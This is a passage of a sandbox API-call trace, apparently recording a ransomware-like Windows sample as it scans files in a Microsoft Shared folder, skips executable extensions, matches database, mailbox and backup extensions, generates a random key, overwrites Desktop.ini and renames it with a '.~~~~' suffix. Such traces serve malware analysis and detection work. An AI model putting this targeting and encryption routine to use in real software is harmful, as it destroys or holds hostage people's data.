	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".dll") returned 0x0
	[0082.618] lstrlenW (lpString=".bat") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".bat") returned 0x0
	[0082.618] lstrlenW (lpString=".cpl") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".cpl") returned 0x0
	[0082.618] lstrlenW (lpString=".sys") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".sys") returned 0x0
	[0082.618] lstrlenW (lpString=".msc") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".msc") returned 0x0
	[0082.618] lstrlenW (lpString=".com") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".com") returned 0x0
	[0082.618] lstrlenW (lpString=".lnk") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".lnk") returned 0x0
	[0082.618] lstrlenW (lpString=".msp") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".msp") returned 0x0
	[0082.618] lstrlenW (lpString=".pif") returned 4
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch=".pif") returned 0x0
	[0082.618] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpSrch="msp\r\n.pif") returned 0x0
	[0082.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0082.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.621] RtlWakeConditionVariable () returned 0x365f70
	[0082.621] GetCurrentThreadId () returned 0x9cc
	[0082.621] GetCurrentThreadId () returned 0x9cc
	[0082.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0082.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0082.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaa48
	[0082.621] lstrlenW (lpString=".scr") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".scr") returned 0x0
	[0082.621] lstrlenW (lpString=".cmd") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".cmd") returned 0x0
	[0082.621] lstrlenW (lpString=".dll") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dll") returned 0x0
	[0082.621] lstrlenW (lpString=".bat") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".bat") returned 0x0
	[0082.621] lstrlenW (lpString=".cpl") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".cpl") returned 0x0
	[0082.621] lstrlenW (lpString=".sys") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".sys") returned 0x0
	[0082.621] lstrlenW (lpString=".msc") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".msc") returned 0x0
	[0082.621] lstrlenW (lpString=".com") returned 4
	[0082.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".com") returned 0x0
	[0082.621] lstrlenW (lpString=".lnk") returned 4
	[0082.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".lnk") returned 0x0
	[0082.622] lstrlenW (lpString=".msp") returned 4
	[0082.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".msp") returned 0x0
	[0082.622] lstrlenW (lpString=".pif") returned 4
	[0082.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".pif") returned 0x0
	[0082.622] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch="msp\r\n.pif") returned 0x0
	[0082.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.623] lstrlenW (lpString=".sqb") returned 4
	[0082.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".sqb") returned 0x0
	[0082.623] lstrlenW (lpString=".ost") returned 4
	[0082.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".ost") returned 0x0
	[0082.624] lstrlenW (lpString=".txt") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".txt") returned 0x0
	[0082.624] lstrlenW (lpString=".mdt") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".mdt") returned 0x0
	[0082.624] lstrlenW (lpString=".BDB") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".BDB") returned 0x0
	[0082.624] lstrlenW (lpString=".eql") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".eql") returned 0x0
	[0082.624] lstrlenW (lpString=".DBF") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DBF") returned 0x0
	[0082.624] lstrlenW (lpString=".EQL") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".EQL") returned 0x0
	[0082.624] lstrlenW (lpString=".FDB") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".FDB") returned 0x0
	[0082.624] lstrlenW (lpString=".EDB") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".EDB") returned 0x0
	[0082.624] lstrlenW (lpString=".DACPAC") returned 7
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DACPAC") returned 0x0
	[0082.624] lstrlenW (lpString=".VHD") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".VHD") returned 0x0
	[0082.624] lstrlenW (lpString=".DBV") returned 4
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DBV") returned 0x0
	[0082.624] lstrlenW (lpString=".dacpac") returned 7
	[0082.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dacpac") returned 0x0
	[0082.624] lstrlenW (lpString=".sdf") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".sdf") returned 0x0
	[0082.625] lstrlenW (lpString=".accdb") returned 6
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".accdb") returned 0x0
	[0082.625] lstrlenW (lpString=".DBX") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DBX") returned 0x0
	[0082.625] lstrlenW (lpString=".MDT") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".MDT") returned 0x0
	[0082.625] lstrlenW (lpString=".SQB") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".SQB") returned 0x0
	[0082.625] lstrlenW (lpString=".vhd") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".vhd") returned 0x0
	[0082.625] lstrlenW (lpString=".bac") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".bac") returned 0x0
	[0082.625] lstrlenW (lpString=".mdf") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".mdf") returned 0x0
	[0082.625] lstrlenW (lpString=".BAK") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".BAK") returned 0x0
	[0082.625] lstrlenW (lpString=".BAC") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".BAC") returned 0x0
	[0082.625] lstrlenW (lpString=".dbs") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dbs") returned 0x0
	[0082.625] lstrlenW (lpString=".vhdx") returned 5
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".vhdx") returned 0x0
	[0082.625] lstrlenW (lpString=".NDF") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".NDF") returned 0x0
	[0082.625] lstrlenW (lpString=".dat") returned 4
	[0082.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dat") returned 0x0
	[0082.626] lstrlenW (lpString=".DBS") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DBS") returned 0x0
	[0082.626] lstrlenW (lpString=".CKP") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".CKP") returned 0x0
	[0082.626] lstrlenW (lpString=".edb") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".edb") returned 0x0
	[0082.626] lstrlenW (lpString=".PST") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".PST") returned 0x0
	[0082.626] lstrlenW (lpString=".dbf") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dbf") returned 0x0
	[0082.626] lstrlenW (lpString=".SQL") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".SQL") returned 0x0
	[0082.626] lstrlenW (lpString=".pst") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".pst") returned 0x0
	[0082.626] lstrlenW (lpString=".dbv") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dbv") returned 0x0
	[0082.626] lstrlenW (lpString=".SDF") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".SDF") returned 0x0
	[0082.626] lstrlenW (lpString=".dtxs") returned 5
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dtxs") returned 0x0
	[0082.626] lstrlenW (lpString=".db3") returned 4
	[0082.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".db3") returned 0x0
	[0082.626] lstrlenW (lpString=".OST") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".OST") returned 0x0
	[0082.627] lstrlenW (lpString=".dbx") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dbx") returned 0x0
	[0082.627] lstrlenW (lpString=".DB3") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DB3") returned 0x0
	[0082.627] lstrlenW (lpString=".DAT") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DAT") returned 0x0
	[0082.627] lstrlenW (lpString=".VHDX") returned 5
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".VHDX") returned 0x0
	[0082.627] lstrlenW (lpString=".ndf") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".ndf") returned 0x0
	[0082.627] lstrlenW (lpString=".DB") returned 3
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DB") returned 0x0
	[0082.627] lstrlenW (lpString=".sql") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".sql") returned 0x0
	[0082.627] lstrlenW (lpString=".MYD") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".MYD") returned 0x0
	[0082.627] lstrlenW (lpString=".DBT") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DBT") returned 0x0
	[0082.627] lstrlenW (lpString=".ACCDB") returned 6
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".ACCDB") returned 0x0
	[0082.627] lstrlenW (lpString=".fdb") returned 4
	[0082.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".fdb") returned 0x0
	[0082.628] lstrlenW (lpString=".bak") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".bak") returned 0x0
	[0082.628] lstrlenW (lpString=".myd") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".myd") returned 0x0
	[0082.628] lstrlenW (lpString=".DTXS") returned 5
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".DTXS") returned 0x0
	[0082.628] lstrlenW (lpString=".ckp") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".ckp") returned 0x0
	[0082.628] lstrlenW (lpString=".dbt") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".dbt") returned 0x0
	[0082.628] lstrlenW (lpString=".db") returned 3
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".db") returned 0x0
	[0082.628] lstrlenW (lpString=".TXT") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".TXT") returned 0x0
	[0082.628] lstrlenW (lpString=".MDF") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".MDF") returned 0x0
	[0082.628] lstrlenW (lpString=".bdb") returned 4
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".bdb") returned 0x0
	[0082.628] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.629] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.630] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.630] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20262004681) returned 1
	[0082.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9b188ef0, dwHighDateTime=0x1d60e1e)) 
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac468
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0082.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa658
	[0082.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0082.631] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.631] GetLastError () returned 0x0
	[0082.631] GetLastError () returned 0x0
	[0082.631] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.631] GetLastError () returned 0x0
	[0082.631] GetLastError () returned 0x0
	[0082.632] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x285, lpOverlapped=0x0) returned 1
	[0082.633] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffd7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.633] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x285, lpOverlapped=0x0) returned 1
	[0082.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.633] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.633] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.633] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.633] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.634] CloseHandle (hObject=0x11c) returned 1
	[0082.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa658
	[0082.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.~~~~")) returned 1
	[0082.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0082.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.635] GetLastError () returned 0x0
	[0082.635] RtlWakeConditionVariable () returned 0x365f70
	[0082.635] GetCurrentThreadId () returned 0x9cc
	[0082.635] GetCurrentThreadId () returned 0x9cc
	[0082.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa8f8 | out: hHeap=0x300000) returned 1
	[0082.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x300000) returned 1
	[0082.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa8f8
	[0082.635] lstrlenW (lpString=".scr") returned 4
	[0082.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".scr") returned 0x0
	[0082.635] lstrlenW (lpString=".cmd") returned 4
	[0082.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".cmd") returned 0x0
	[0082.635] lstrlenW (lpString=".dll") returned 4
	[0082.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".dll") returned 0x0
	[0082.635] lstrlenW (lpString=".bat") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".bat") returned 0x0
	[0082.636] lstrlenW (lpString=".cpl") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".cpl") returned 0x0
	[0082.636] lstrlenW (lpString=".sys") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".sys") returned 0x0
	[0082.636] lstrlenW (lpString=".msc") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".msc") returned 0x0
	[0082.636] lstrlenW (lpString=".com") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".com") returned 0x0
	[0082.636] lstrlenW (lpString=".lnk") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".lnk") returned 0x0
	[0082.636] lstrlenW (lpString=".msp") returned 4
